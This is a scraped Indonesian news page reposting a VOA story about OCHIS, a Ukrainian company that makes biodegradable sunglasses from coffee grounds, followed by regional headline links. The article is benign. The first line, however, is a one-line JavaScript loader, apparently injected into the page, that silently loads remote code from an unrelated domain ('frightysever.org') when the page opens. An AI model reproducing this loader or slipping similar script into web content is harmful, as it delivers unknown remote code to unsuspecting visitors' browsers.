(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Perusahaan Ukrania Bikin Kacamata Hitam dari Ampas Kopi


Konsumen perusahaan kacamata asal Ukraina, OCHIS, bisa menghirup aroma kopi saat mengenakan kacamata hitam buatannya. Itu karena OCHIS, yang dikenal dengan produk-produknya yang inovatif, membuat kacamata hitam dari ampas kopi.

Didorong oleh ambisi untuk menciptakan kacamata hitam ramah lingkungan tapi tetap modis, CEO OCHIS COFFEE Maksym Havrylenko bereksperimen dengan beragam herba seperti daun mint, parsley, dan kapulaga sebelum akhirnya menemukan bahan alami yang tepat pada ampas kopi.

Kacamata ramah lingkungan yang terbuat dari ampas kopi di pabrik dekat Kiev, Ukraina, 13 Mei 2019. Foto: Reuters

Industri hijau sudah menggunakan ampas kopi untuk membuat berbagai produk seperti furniture, gelas, tinta cetak, dan Bahan Bakar Nabati (BBN). Namun, Havrylenko menjadi pionir dalam penggunaan ampas kopi sebagai bahan pembuatan kacamata hitam, yang berbau harum kopi yang baru diseduh.

“Pertama, kopi berwarna hitam, yang juga warna klasik kacamata hitam dan cocok untuk apa saja. Kedua, banyak kopi bubuk di dunia. Ada jutaan ton kopi bubuk di dunia,” kata Havrylenko kepada Reuters.

Havrylenko, yang berasal dari keluarga ahli pembuat kacamata dan berpengalaman 15 tahun di industry kacamata, harus membuat 300 sampel sebelum menciptakan yang dia sebut kacamata hitam OCHIS COFFEE yang sempurna. Kacamata kopi itu dijual seharga AS$78 – AS$89 atau sekitar Rp 1,1 juta – Rp 1,27 juta.

Maksym Havrylendo, CEO OCHIS COFFEE, perusahaan pembuat kacamata, mengambil ampas kopi di sebuah kafe di Kiev, Ukraina, 13 Mei 2019. Foto: Reuters

Keuntungan utama mengenakan kacamata hitam dari bubuk kopi dan kain lenan yang ditempel dengan minyak nabit adalah saat dibuang, kacamata tersebut akan menjadi pupuk setelah 10 tahun, papar Havrylenko.

Upaya urun dana pertama yang dilakukan OCHIS COFFEE adalah melalui platform urun dana Kickstarter. Upaya urun dana pertama itu berhasil meraup AS$13 ribu, melampaui target awal AS$10 ribu dan menarik perhatian konsumen dari Amerika Serikat, Eropa bagian barat, Jepang, dan Australia. Menurut Havrylenko, hanya 10 persen dari pembeli berasal dari Ukraina.

“Gol super kami adalah untuk mempromosikan setidaknya di Ukraina dan di seluruh dunia, pertama, ide produksi produk-produk bersih. Dan kedua, pembuangan limbah yang benar,” katanya. (ft/kk/voa)

Reporter : voak
Editor : kk

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.